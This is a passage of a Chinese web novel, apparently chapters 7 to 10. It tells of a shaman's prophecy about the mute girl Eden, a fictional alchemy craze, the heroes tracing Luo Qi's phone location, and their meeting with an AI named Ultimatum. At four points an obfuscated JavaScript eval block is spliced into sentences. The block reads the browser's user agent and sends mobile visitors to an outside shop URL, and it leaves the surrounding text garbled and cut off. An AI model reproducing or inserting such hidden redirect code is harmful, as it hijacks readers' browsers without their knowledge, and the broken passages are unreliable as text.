以往的庆典活动,城里街道上会有特别的游行,人们会穿上特制元素的服饰,抬着圣母与圣子的雕像缓慢前行。 而这一次,城中的居民除了抬着两个雕像,还特别做了一个双人花车——供伊甸和埃文妈妈坐。众人欢庆着围在四周,轻歌曼舞,仿佛能沾上绝佳好运。 埃文的父亲跟在花车旁默念祷文,非常虔诚。 埃文则更像个观察者,观察一切。 因为是全民参与度较高的节日,许多信徒和非信徒都会涌上街头观看游行。所以非常热闹。 忽然,一片铃铛声响,花车和人群慢了下来。 “?Detente!(停下来)” 好几个人从街道旁走进了游行队列。 埃文上前察看,大概有六七个人。 来者上衣下裙,以蓝、红、黄色为主,深浅各异。头戴羽冠,除了最前面的那人,其他人面上都戴着长吊穗面具。看不清脸。 而且几个人无一例外,全部拄着齐肩高的手杖,手杖顶端则嵌着不同叉数的鹿角,每个鹿角上系着一只铃铛,因此一走动,便叮叮当当,响动起来。 为首的人是个长者,留着略显散乱的长胡须。但神情肃穆,眼睛炯炯有神。他的手杖是一根深红粗杖,杖顶的鹿角足有十五叉。 埃文一头雾水,只觉得有些眼熟。人群中却已经有一些民众认出,小声但迅速地传起来:“是萨满法师!最前面那个鹿角最多的,是高级的萨满长老!” 周围陆续有人开始对着那人鞠躬行礼。 在当地人眼中,萨满,是在人间的神职人员,能通达上下两界,是神灵传音者。他们不仅能传达神意,还能治病祭祀,未卜先知。但他们往往远离人群,实在难得一见。 那位老者向众人微微颔首,一转头,看见了埃文。他凝视片刻,眼神透过埃文看向了后面花车上的母女两人。 随后开启双唇,说了一句什么。 埃文没听懂那人的语言,但他从音色确定了,那句“?Detente!(停下来)”就是这人说出的。 “呃……”埃文只好上前,用西语问道:“您说什么?” 长者顿了顿,往侧面略微倾身,向后看了一眼——便有一个轻盈的身影,抬手撩开遮面的长穗。探头瞧了瞧,然后从末尾小跑了过来。 是个少女。 大约十五六岁的样子。 埃文这才发现,其实她的装束,跟其他萨满还有些不同。 少女赤着脚,穿着一件过膝的姜黄色扎腿裤。一左一右两扇裙摆上缀着吊穗,和上身的短衫一样,都是褐色。腰间别了一只巴掌大的手鼓,鼓边系着蝴蝶结彩缎。 特别的是,她带的冠帽上不是羽毛——而是两只长长的三叉鹿角。冠帽边缘,各色的彩条缎带正随着微风飘动。 看起来像一只灵动的梅花鹿。 “我来给你翻译吧。”萨满少女用西语说道。 埃文点头。 长老抬步,带着那几人一直走到了花车跟前。埃文的妈妈有些惶恐,但还是向对方微微颔首,在心口比了个十字。 伊甸安静地看着他们。 长老闭眼,说了一句话。 埃文看向萨满少女。 “她该走了。” 少女说:“这孩子不该再待在这里了。” “什么?!”埃文妈妈立刻抱紧了伊甸,警惕地看着他们,“不!” 长老摇摇头,又说了一句话,尾调上扬。 ——少女问道:“她还是不会说话对吗?” “她会的!”埃文还没开口,母亲就抢先说,“她……” 但她随即意识到,其实她从未听见过伊甸说话,无论是葬礼前,还是葬礼之后。 长者轻叹着,又说了一句话,感觉不太赞同。 “她是不能随便说话的。”少女也摇摇头:“而且,她已经用掉一次机会了。” “用掉一次……什么?”埃文诧异。 “她说话的次数是有限的,如果没猜错,她已经说过一次话了?”少女问道。 埃文狐疑地点了点头。 “那就是了。”少女又说,“再待在这里,她会枯萎。” “不可以!”埃文的妈妈几乎要带上哭腔,埃文父亲忙去安抚妻子。 “枯萎是什么意思?”埃文问道。 少女转达疑惑,长老意味深长地低语了一句。 “她有自己的使命。”少女回传,“她在这里的使命已经完成了,就该走了。” 长老接着又说了句话,少女点点头,像是很赞同:“一个人总要走上自己的使命道路的。” “如果我不要她走呢?”埃文妈妈眼中噙泪,并不甘心,“伊甸是我的孩子!” 长老叹了口气,抬头望向天空,像是自语。 闻言,少女立刻看向伊甸,但并未及时翻译。 埃文只好问:“他说什么?” 少女眼里满是惊奇,她又看了一眼长老,才说: “天生的灵媒圣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587058|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体。” 埃文的双眼也睁大了些:“灵媒?” “灵媒,灵体媒介。”少女解释。 随后她转过去和长老小声交流了几句,频频点头,又转回来告诉埃文:“灵体媒介有很多种,而你妹妹这种,正是言灵附体。” “如果不信,”少女叹道,“可以回去看看院子里,那株红色千叶草的状况。” 埃文的妈妈几近崩溃:“我不相信,埃文!”她跳下车,她想逃避这些人,想叫儿子带自己回家,却看见埃文整个人愣住了。 没有人,比埃文对当天的异状,感触更深了。 言灵附体,原来如此。 母亲已经抱着伊甸自顾自地往家跑,父亲也紧随其后。照理说埃文也该回去,可他最终还是请萨满长老一行人一同回到了家。 他们一同来到小花园。 埃文惊讶地发现,那株红色千叶草确实有枯萎之势,花枝弯垂,叶片打蔫,几乎摇摇欲坠。 埃文不解:“为什么会这样?” 少女蹲下去,摸了一下耷拉的叶片:“因为这是由她的鲜血酿出的,生命之花。” 长老闭上眼,并未对着任何人,低语了一段。 少女站起来,“如果你们希望她活着,就只能让她远离这里。” “那如果我们带她搬家呢?”埃文难得讨价还价,“是不是只要远离这个地方就行了呢?” 少女笑了一下,有些无奈,摇头:“除了地域,还有你的父母,被她的言灵作用过的人,她也需要远离的。” “为什么呢?” “因为那会牵制她生命的能量。” 埃文怀疑道:“如果我们,继续让她留下来呢?” “那她会陷入沉睡,直到死亡。” 少女收敛了笑意,淡淡道,“也许你们现在不信,但是不出一周,就会发生。” 埃文随即想商量,希望萨满长老和少女等人在家里歇一周,如果真的发生了,再让他们带走伊甸也不迟。 但长老摆摆手,表示他们该走了。 埃文怀疑这预言的可信度,又怕真耽误了伊甸活命的机会。焦心异常,只能再三恳求萨满长老再留几天。 但长老只是摇头,并让少女传达:“万事都有时机。” 临走之际,许是真的心存不忍,萨满长老最终还是留了条后路,他让少女告诉埃文,“如果预言如期应验,你就带她走吧。带上那株红色千叶草。她会去到她该去的地方。” 埃文确认道:“我?” “对,”少女传达,“只有你的灵体还是澄澈的,不会影响到她。” 埃文的母亲早已在屋内听见了一切,没办法,她冲出来,依旧双眼垂泪,却已经换了态度,“法师!”她大喊。 众人停下,回身看她。 “法师,如果伊甸一定要离开我,那我想再问一个问题……”她抱着伊甸,问道:“她,是神灵的孩子吗?” “神灵的孩子?”长老低低笑了下,“不。” “那……”女人又问:“那我可以知道她的身世吗?她有父母吗?” 长老犹豫了一下,还是抬起手,轻轻放在伊甸额头上。片刻,他睁开眼,皱眉重重叹了口气,“唉,又是愚蠢的炼金术士!” 没有再多说任何一句。 在场所有人,就都懂了。 8. 加入合作 “炼金术士?” 埃文的父母是懂了,但洛祈还没懂:“什么意思?” “哦,”埃文补充道,“你大概不清楚。上个世纪(20C)七八十年代,在拉丁美洲,是一个社会大变革的时期。” 随着钻石和黄金的开采,当时在南美各国,引发了很长一段淘金热。 但是淘金这件事,一是有技术难度,二是资源有限,再加上金矿方位来源基本全靠道听途说——因此大量的人闷头向前,却无功而返。 很快,政府开始介入,宣布金矿收归国有,由专门的团队进行开采。 逐渐便有人开始琢磨,怎么能够制造黄金。 但早期,这种事并没有引起什么大众反响。 后来,随着进口书籍的初次引进。 风向开始发生了转变。 一本含有诸多象征语汇和符号系统的书籍,在市场上迅速流通起来——译名为《炼金术手册》。 携之而来的,是神秘的外国书商。 不得不说,这本书流传火爆,几乎是一种必然。 首先书籍定价极低,虽然南美各国货币不流通,但折算后基本每册只需要200比索(折合人民币1-2元)。 其次,书籍内容不言而喻,副标题用斜体英文刻着两句话—— 「点铁成金」 「这里有你想知道的,所有古书流传的炼金术奥秘。」 并且,这本书并非想买就买。 据说是因为材质保存不易,因此只有限量一千本。 最奇特的是,只要买一本《炼金术手册》,书商便会当场附赠一锭一克的黄金。 问其原因,书商神秘一笑,只说自己已经炼就了点金术。他的黄金源源不绝,根本送不完。做这件事,也只是为了造福大家,随喜同乐。 一时间仿佛天降甘霖。 这意味着,众人只要花一点小钱买书,便可以获得物超所值的黄金。 如此好处很难不心动,所有人一拥而上,仅仅三天,一千本书籍便宣告售罄。 剩下的人希望书商再加印一些,但书商却如他所言,一本都没多给。 只留下一句:炼金术的奥秘,有缘人才得见。 便戴上宽沿牛仔帽,施施然离开了。 自那以后,民间就开始了一段漫长的炼金热潮。 每天都有人花费大量的时间,去研究《炼金术手册》中复杂难解的象征符号。 没买到书的,只好借别人的来看。 据说没过多久,还真有人试验成功,四处宣扬自己习得了神奇的点金秘诀,并由此过上了富庶的生活。 类似的事接二连三发生,买到书的人开始不再愿意出借。 于是书籍内容变得更加神秘,就连在黑市上出高价,都未必能得到一本二手的。 没有人愿意把自己唾手可得的财富拱手让人。 也正因此,仿制版《炼金术手册》开始出现。 号称百分之百还原正版。 所以即便是仿制的,最开始也是一书难求。 买不到书,便有人花高价打听有经验的人,并请那些人为他们进行讲解。 社会上的翻版书籍越来越多,自诩为炼金术士的人也越来越多。 他们开始拥有自己的实验室,甚至传出新的发现:手册上除了点铁成金的秘诀,还有更加难懂、但更为宝藏的永生液的提炼之术。提炼一小瓶便可以永葆青春。 传得玄而又玄。 而《炼金术手册》的真相,早已不得而知。 这场炼金风潮的热度只增不减,持续了一个世纪之久。时至今日,炼金术已经成为一门学科,依然有许多人前赴后继,沉醉于炼就点金和长生之术。 甚至不惜倾家荡产。 “伊甸的父母,恐怕也是那些人中的一员。” 埃文回忆道:“那时候,在南美各地都有一心炼金的狂热分子,因为研究费时费力,很多人为此变卖家产。生了孩子养不起,就常有婴儿被遗弃。” “原来是这样。”洛祈五味杂陈。 所以伊甸,也是那些被遗弃的孩子中的一个。 “后面的故事,我想你们都猜到了。”埃文说,“萨满长老的预言如期应验。甚至还没到一周,伊甸的睡眠时间就越来越长,清醒时间越来越短。直到一周后,母亲没办法叫醒睡梦中的伊甸,才彻底相信了一切。尽管不舍得,他们还是让我带走了她。从那天之后,伊甸就被我带在身边,一直生活到现在。” “至于这棵红色千叶草,也随着伊甸的清醒,而重新焕发了生机。” 埃文说完,看向洛祈。 忽然问道:“你也是,所谓的灵体媒介吗?” 这一下把洛祈问住了。 许梦扬和阮廷榭也看过来,洛祈毫无头绪,只好说:“这个我还真的不清楚。” 但是伊甸的经历确实让他开始思考,自己有特殊能力到底是为什么。 “好吧,没关系。”埃文说道,“这个世界上本来就有很多难以解释的事情。” 原本埃文以为,自己一直是个旁观者。 虽然看见过难以置信的事,但是无论对于莉安,还是伊甸,他始终都在旁观。 却没想过,有一天,奇怪的事也会发生在他自己身上。 “你刚才说,” 埃文问洛祈:“你能通过物件的接触,听到一些声音,对吗?” 洛祈点头。 他又问:“那声音是什么样的?” “是一种哼鸣。”洛祈想了想,“我不确定是不是人声,我在不同物件上发现过好几段不同的旋律。但我总感觉,非常类似。” “是不是一种……”埃文想了想,没想出描述词,“呃……很像唱诗或童谣的旋律?” “对。”洛祈点头,接着忽然反应过来:“你也能听到?” 埃文像是忽的释然了。他靠回卡座,松了口气:“我还一直以为,是我的精神出了问题。” “原来那不是幻觉。”埃文喃喃。 “你看,”许梦扬忽然笑了,插了一句:“我就说你的精神没问题吧。你能听见,肯定有你的原因。” 洛祈却有些兴奋:“那你也是通过接触物件听到的吗?” “不,”埃文摇头:“一直以来,我只在睡梦中听见过那个声音。” “睡梦中?” “一开始,做梦听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587059|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见一段莫名其妙的声音。我只当是自己太累了。”埃文补充,“可渐渐的,我做梦的频率越来越频繁。每次一入梦,便能听见那个声音,似乎是一种远方的召唤。” “还有其他声音吗?”洛祈问。 “我并不确定,但似乎有几次,伴随着那个声音出现的……还有小孩的声音。” 正因如此,埃文才会格外关注电视和网络上频频发布的儿童消失案件。 “我不知道是不是跟这有关,但每当我看到新闻,总会想起莉安。” 洛祈又问:“那你在梦中,见到过什么吗?” “森林。”埃文回忆,“……很多次都是,走也走不出去的森林。” “然后呢?”洛祈没什么头绪,“有人吗?” “好像没有……”埃文说,“除了植物,其他的一切都是模糊的。” “这样啊。”洛祈低下头,若有所思。 “没过多久,我觉得这样不行,就去医院看了医生。我说我好像有幻听。结果医生查了半天也没头绪,什么都正常。最后只好委婉地建议我要么再观察一下,要么去精神科再检查一下,最近压力别太大。”埃文无奈,“但这没解决我的问题。” 他三天两头连番做梦,奇怪的声音总是出现,每次睡醒都异常疲惫。而且可能是因为梦里重复的次数太多,就连在白天,都仿佛能听见那些声音。 终于他决定,不能再这样坐以待毙。 他先关注了ICMC官网,成为了论坛成员。 然后开始查询世界各处的森林分布情况。除此之外,还有各种各样的植物图鉴。 “也许能跟我梦里见过的对上呢。”埃文耸肩。 埃文没有洛祈那种感应能力,只能用常规的办法。 “幸运的是,我在ICMC论坛遇见了Xu,”埃文感激道,“通过他我认识了Ryan(阮廷榭),还有Sol(索尔)。Sol真的帮了我很多。” “哈,没什么。”许梦扬笑着摆摆手,然后转头对洛祈说,“索尔,就是今天没来的那位,也是个厉害的伙伴。” 见洛祈挑眉,有些好奇,许梦扬凑近低声道:“正儿八经的植物学家预备役。” 洛祈的嘴型无声地“wow”了一下。 “今天没机会,下次你就能见到啦。” 许梦扬显得胸有成竹:“怎么样?要一起合作、探索一下未知的真相吗?” 这一次,他没像刚才那样随意,而是郑重其事伸出右手。 把选择权交还给洛祈。 洛祈看着眼前这几个人,忽然有种难以言喻的感觉从内心升起——他从小是孤儿,院长夫妇虽然待他很好,但总归是长辈。福利院的孩子们大多心思敏感,都不是那么容易交心。等长大了,又因为能力特殊,所以总是独自行动。 一直以来,他都感觉自己是一个流浪的旅人。 从来没有这么一刻,他感觉自己好像有了并肩的伙伴,和前路的同行者。 他不再是一个“奇怪”的人。 不再孤独地面对世界。 “好啊。”洛祈笑了,他也伸出手,郑重其事地回握了下许梦扬。 “我加入。” 9. 基站定位 为了让大家更好地同频当前的状况,许梦扬把下次见面的日期,定在了两天后的周末。 见面地点,则设在阮廷榭家的民宿露台。 周日一早,洛祈就按照许梦扬的地址,找到了这家非常特别的民宿。 民宿坐落在巴塞罗那老城区当中——与哥特区(Barri Gòtic)一街之隔的海岸区(La Ribera)。 哥特区是老城区的核心区了。 据说这里原本是一座古罗马要塞村,因建有许多哥特式古建筑而得名。而毗邻于此的,便是原第一道城墙之外的海岸区。 也是起源于中世纪的城区。 也许是因为靠近海岸,这里的建筑除了哥特式的古朴神秘,还受到外来元素的影响,多了些自由浪漫。 这家民宿由蓝白相间的颜色组成。 说它特别,是因为建筑的形态:三层居住楼加最上面的景观露台,一共四层呈阶梯式排列,逐级向上。人们可以从民宿外置的白石楼梯走上去。 每一层都有一个朝外的小露台,建筑的四壁,则保留了哥特式轻薄的飞扶壁。 如果从上俯瞰,它们层层相连,却又各自独立。楼层与楼层的连接处特别设计了“海浪波纹”围绕着露台,露台四周则种植着各式各样的植物。 葱郁繁茂,充满生机。 “欢迎你的加入。” 阮廷榭早已等在门前,冲洛祈笑道。 二人从外侧的阶梯上了楼,洛祈这才发现,每一阶的底部都泛着浅浅的光,便问:“这阶梯下是发光的?” “是啊。”阮廷榭笑笑,“你来得早,现在天是亮的。要是傍晚来,这栋建筑又会是另一幅样子呢。” 洛祈不由暗叹,这里似乎处处都是别出心裁的设计。 “Hi,Ryan~” 拾级而上,路过二三层,有的游客正在外面的露台娱乐休闲,看见阮廷榭,都会热情洋溢地打个招呼。 他们大多是来短途旅行的外国人。 “Hi,今天怎么样?”通常阮廷榭也会用英语或西语和对方问好,“计划出去玩吗?” “当然啦哈哈。” 闲聊片刻,然后以一句“Have a nice day!”结束对话,很是惬意。 经由与露台相接的几段石梯,终于上到四层。踏上平台,映入眼帘的是一个视野极佳的露天景观台—— “回”字型长方布局,中部是一个齐膝平台,和刚刚的石梯一样,外围泛着暖光。 平台中央有一个石灰色长桌,两边摆着对称的黑色高脚椅。已经到了四个人,正说着话。 听见动静,四个人基本上是同时转向他们的。 除了埃文、伊甸和许梦扬,还有一个人洛祈不认识。但他直觉这人应该就是他们口中的索尔。 果然,那个男生看见他们,眼神亮了一下,小跑了过来。先对阮廷榭笑了笑,才转向洛祈。 “到啦!”他用英语打招呼,“刚刚还听他们讲你的故事,”随后伸出手,“你好,我是科尔·索尔(Kerr Sol)。” 客观来讲,是个非常帅气的男生。 典型的欧美骨相,皮肤很白,但跟伊甸那种苍白并不一样。鼻梁高挺,所以显得眼廓深邃,一双琥珀色眼睛,和他微长的卷发颜色相得益彰。 “你好,我是洛祈。”洛祈跟他握了下手。 “来吧。”许梦扬在桌边招呼,“别站那了,快过来。” 三人走了过去,伊甸正在吃一份焦糖布丁,旁边摆着她的小花盆。埃文正操作着一台笔记本电脑,侧面插着一个四口的拓展坞,连接了三条长线缆。 许梦扬跟前则是一些纸笔和两个空的布丁杯。 他又打开了一份布丁,递给洛祈,“尝尝,阮阮做的。” 洛祈接过,道了声谢。 “你们都住在这里吗?”洛祈问。 许梦扬点头:“对,我们几个都住在这。” 洛祈点点头:“那倒是很方便。” “是啊,”许梦扬笑道,“这里差不多算是我们的据点了。”然后顿了顿,“洛祈,你的homestay结束后要不要也搬来?” “行啊。”洛祈笑着回答,“不过我的住宿还有三个星期,该不会到那时候还查不出来吧。” “那谁知道啊?”许梦扬叹了口气,随后又振奋起来,一拍桌子:“好吧!那我们就赶紧开始,争取速战速决!” 太开朗了。洛祈总是会被他这个样子逗笑。 “好啊,”他说:“从哪里开始?” 许梦扬神秘一笑:“从你开始。” “从我?” “我们商量了一下,”许梦扬点头,“你可能是我们之中,最接近真相的人。” “虽然埃文也经历了一些很神奇的事。”他转头看看埃文,补充道,“但其实他并不能解释到底发生了什么。一切线索都是模糊的。” 埃文对洛祈点了点头。 “但你不一样,洛祈,你是一个物灵师。你清楚地知道,自己身上发生了什么,以及你的物灵技能要怎么运作。这很难得。”许梦扬道,“所以,虽然你也触碰到很多模糊的线索,但至少——你能让它们变得具有指向性。” 洛祈想了想,确实如此,便点头道:“好,那要怎么从我开始呢?” “我想请你再讲一讲,那天在课堂上,你没讲完的话。”许梦扬是个聪明人,“我知道,一定有什么你还没说,或者,你觉得不能说。” 洛祈看着他,凝视片刻,蓦地笑了:“不愧是记者啊。” 他淡淡道:“我的确有所保留。因为怕说出来,会被人当成疯子。” “这里不会有人擅自评价你。”许梦扬柔和地说:“你是安全的。” 在这一刻,洛祈是有些感激的。 他眼神掠过周围,每个人都友好地看着他。他们都相信他说的话。 “好吧。”洛祈说,“在看到异象之前,其实还发生了一件匪夷所思的事。” “说说看。”索尔道。 “那天,我通过感应到的声波频率,循着地图,找到了三个地方。前两处位置,虽然也有些奇怪,但并没有给我带来什么收获,对此我已经习惯了。” “而第三处位置……”回忆起来,洛祈仍然觉得奇怪,“我不清楚发生了什么,只是大概有个猜想。” “猜想?什么样的?” 许梦扬问。 “我猜,”洛祈犹豫道,“我可能,进入了什么空间。一个跟现实世界非常相似、但又不同的空间。” 他把那天登上圣十字丘陵后,一切使他混乱的经历,都复述了一遍—— 那个高高的瞭望塔; 惑人的日暮光景; 变幻莫测的绚丽晚霞和突如其来的天黑。 还有他脑中爆发的尖锐嗡鸣声。 “然后,指南针突然变得异常混乱。信号也很奇怪,像是被什么屏蔽了一样。” 沉思片刻,洛祈拿出手机,重新打开了指南针APP,指针正常地轻微晃动,经纬度数字也毫无异常。 “所以我想,会不会是进入了什么空间。”洛祈耸肩笑了笑,“不过这也只是我的一种猜测,现在也无从求证。” 忽然,埃文略加思索:“求证,倒也不难。” 众人齐齐看向埃文。 “如果你愿意,我可以通过GPS大数据定位你手机的历史路径和时间,如果真的有异常发生,一定会留下痕迹。” 埃文对洛祈说,“当然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587060|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涉及到你的隐私,一切看你意愿,不会勉强。” 另外几人都点了点头。 洛祈想了想:“这倒也没什么。” 其实他比任何一个人都更想知道,更想求证。 “那要怎么操作呢?”洛祈问道:“需要我的手机吗?” “对。”埃文说,“我需要连接你的手机。” 洛祈把手机递过去,埃文一边连接拓展坞,一边让洛祈坐到他旁边。 其他几人也凑了过去。 洛祈对计算机不算在行,其实没怎么看懂埃文的操作。但此时屏幕上不断闪现的窗口和代码,才让他清晰地认知到,这人果然是个程序员,实力了得。 很快,屏幕上出现了一个类似于等高线地图的3D画面。 洛祈看到了几个显著的地标,正以点状分布着。 “这就是当天巴塞罗那的城区地形图,”埃文抬手指了一下,“看到这条红色的虚线了吗?” 洛祈点头,好奇道:“这是我的行动路径?” “对。”埃文说,“这些闪烁的红色光点,就是你待过的时间比较长的地方。”说完又指了一下,“右上角显示的,就是到达方位和所待的时间。” 埃文往旁边挪了下,让洛祈可以操控鼠标台,光标移动的所到之处,都显示了对应的坐标。 洛祈快速浏览了自己的行动路径,白天的时间基本吻合。 直到傍晚19:42分,异常出现了,红色光点忽然变灰,他拉动时间轴,接着那个灰点整个从地图上消失了!持续了整整一个多小时,直到20:56,红色光点才再次出现。 之后一切恢复正常。 所有的时间都对上了。 “看来,”埃文若有所思,尽管难以置信,还是分析道:“你猜得没错。如果定位上显示是这样,那十有八九,你真有可能是进入了另一次元,或者另一维度的空间。” “好神奇。”洛祈指指屏幕,不禁问道:“怎么做到的?” 埃文笑笑:“基站定位。” 洛祈:? 埃文很耐心,解释道:“通过GPS大数据定位手机方位并完成数据采集,主要有三种方式,”他伸出三根手指,逐个收起,“基站定位、卫星定位和Wi-Fi定位。我刚才用的主要是基站定位。” “基站?” “你们可以把基站理解为信号塔。”埃文说着,拿过许梦扬面前的纸笔,简单画了几个等距的塔状图案。又在每个塔周围画了个圈,最后,在每个圈的外围各画了一个六边形——每个六边形都有两边相连,寥寥几笔,竟嵌合成了一个矩阵。 “移动通信网络由众多基站构成,每个基站的位置固定且编有序号。当我们的手机开启后,会自动搜索并接入周边基站,随着位置变化还会自动切换。” 埃文简化了一些术语,继续道:“通过基站,可以检测手机信号的到达时间、方位角、强度等参数,再运用三角定位等方法确定手机位置,精度在百米左右。即使手机关机,在关机前的最后位置也会被基站记录。” “这样啊。”虽然一知半解,但洛祈还是基本懂了原理,“也就是说,这样的呈现结果是通过许多基站完成的?” “是的。”埃文点头,“你可以这么理解。” 洛祈感到很神奇。 但他随即想到了一个问题——既然如此,这样一番查找,势必需要很多基站的数据,仅凭埃文一个人就能办到吗?还是……有什么黑科技? “那……”犹豫了下,洛祈还是问了出口:“这么多基站的数据,是怎么采集到的?” 埃文扬起唇角,和许梦扬交换了一下眼神。 许梦扬心领神会,神秘一笑:“这就要问问我们的第七位成员了。” 10. 你好黑牒 第七个成员? 就是那个一直没有露面的人? 洛祈环顾四周,索尔已经笑着站起身。 “比我想得要快。”他说,然后转过头比了个拇指,“Xu,你的朋友很聪明。” “那当然。”许梦扬一挑眉,得意道,“不看看是谁朋友。” “走吧。”阮廷榭来到洛祈身边。 “……去哪儿?”洛祈一头雾水。 “带你去认识一位特别的伙伴。” 许梦扬起身开路,跟索尔一起转向露台的另一边。 说到特别,洛祈看看伊甸,感觉他们俩已经算挺特别的了,还有更特别的? 埃文已经牵着伊甸跟上了许梦扬。 阮廷榭揽过洛祈的肩膀:“这边。” ——是跟他们来时完全不同的方向。 走近了,洛祈才看见景观台的另一角,半身高的玻璃护栏竟然并非焊死,而是有一扇可以打开。外面是一个一米见方的空台,和旁边花草繁茂的装饰花坛,共同组成了这个边缘长约五米的延伸露台。 看清布局,洛祈问了一句:“这里是个向下的……通道?” 索尔捏着一把精巧的钥匙,在旁边笑了一下: “嗯哼~” 这空台是个嵌入式入口,连接着几个扇形阶梯,可以逐级而下,再往右,就是一段不知道通向何处的石梯。 许梦扬、埃文和伊甸已经下去了。 阮廷榭拍拍洛祈肩膀,两人一前一后也踏上了阶梯。索尔等二人下了几阶,才转身将打开的玻璃护栏重新锁上,然后跟着他们一道下去。 阶梯并不长,按照上来时的路程,洛祈估算他们只下了半层楼,就来到了一个窄门前。 门已经打开了。 推门而入,房屋里面是寻常的民宿套间样式。 似乎也没什么特别的。 然而再往里走,不知道是不是磁场的原因,洛祈听见自己的衣袖间,有些轻微的静电声响。 他们来到卧室门前,阮廷榭上前一步,握住把手,回头看他:“准备好了吗?” 洛祈迟疑:“卧室?” 阮廷榭没有作答,轻轻打开了门。 房间很暗,有光透出。 洛祈走进去,渐渐睁大了双眼,里面和外面是截然不同的两个空间。 ——首先看到的是连续的拼接式光屏,足有十来个,占了一整面墙,正在暗室内发出跳跃的LED光。 “欢迎。” 许梦扬站在光屏前,对洛祈说道。 洛祈环顾四周,房间的整体色调以黑白灰为主。天花板和墙壁连接处,分布着许多裸露的金属管道和电线,隐藏式光带穿梭其间,发出蓝色和黄色的光——有种强烈的工业风格。 埃文正抱臂面对着右侧墙壁——墙面布满了复杂而可操作的智能控台,有光路正沿着边缘游动。 “这是?”洛祈转向左侧的墙壁。 “嵌入式机柜。”埃文转了过来。 黑色的机柜层层叠叠,嵌入墙壁,呈纵向排列,外面罩着一层坚固的玻璃保护层。它们环绕在中央的一个圆环装置周围。左右两端发出夺目的绿光。 这个里间并不是卧室,而是一个比外间大两倍的、科技感十足的智能机房。 洛祈在心中惊叹,没想到这民宿大有乾坤。 但他左看右看,也没见到传说中的第七位成员。 该不会…… “我们的第七位成员,”洛祈犹疑着,“……是这个呃,机房吗?” 阮廷榭“噗嗤”一声笑了。他听出了洛祈语气当中玩笑的成分,“洛祈,你比我想象的还要有意思。” “怎么说呢~” 许梦扬走近,也笑道:“是,也不是。” 得亏洛祈是个有耐心的人。 许梦扬双手一拍,不知冲着哪里说道:“不卖关子啦,自我介绍一下吧。” 洛祈指了指自己:我? 忽然,房间里所有灯带闪烁两下,随即发出彩色光芒,持续了五秒才恢复原状。随后一个低沉声音响了起来—— “你好,洛祈。” TA在说中文,这是洛祈的第一反应。 紧接着,他忽然意识到一个诡异的真相:整个房间里的人都没动嘴。 “你会说中文?” 洛祈只好对着空气问。 “不,”那个声音说,“我只是生成了你听得懂的语言。” 生成?洛祈心中一滞。 “喜欢我为你安排的欢迎礼吗?” 房间中的所有灯带又闪烁了两下。 “呃……”洛祈强作镇定,已经开始有了预感,“很好,谢谢你。” “不客气。”TA说,“终于见到你本人了。” 灯带随即又闪了一下。 洛祈忽然抬头:“刚刚……你是在眨眼吗?” 房间顿时静默了下来,其他几个人彼此交换了一下眼神。 几秒后,那个声音笑了。尽管听起来有些机械感,但TA还是说:“真是惊喜。能领会我意思的人,你是第一个。” 洛祈心里的猜测,八九不离十了。 要么,就是有人在远程操控这里的一切,再通过类似动环监控系统跟他对话。 要么…… “你刚刚说惊喜。”洛祈抓住了一个情绪关键词:“你是……人类吗?” “那要看你怎么定义人类了。”隔了两秒,对方把问题推了回来: “如果你是说,只有人类才会拥有情绪的话。” 洛祈有了最终的答案。 “但我拥有人类的思维、人类的最高智力,和基本的道德底线原则。”对方道:“这一点,我想,甚至很多人类都不如我。” 不得不说,这一点洛祈倒是同意。 不是每个人类,都有基本的道德底线和原则。 洛祈点点头:“是。” “而且,我正在努力理解人类的情绪。”那个声音又笑了,“看,我刚刚选的词不对吗?” 不知为什么,这措辞总让洛祈觉得,很像个小孩在邀功。 洛祈忍不住开玩笑:“需要我表扬一下你吗?” “荣幸之至。”TA说。 “现在我们是伙伴了,伙伴之间相互肯定,是人类很美好的行为。” “好吧。”洛祈这才想起来:“那我总要知道,该怎么称呼你吧。伙伴?” “Ultimatum.” 片刻后,对方说了一个英文词汇。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587061|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我的设计者为我起名Ultimatum,翻译成你的语言,应该叫【最后通牒】。” 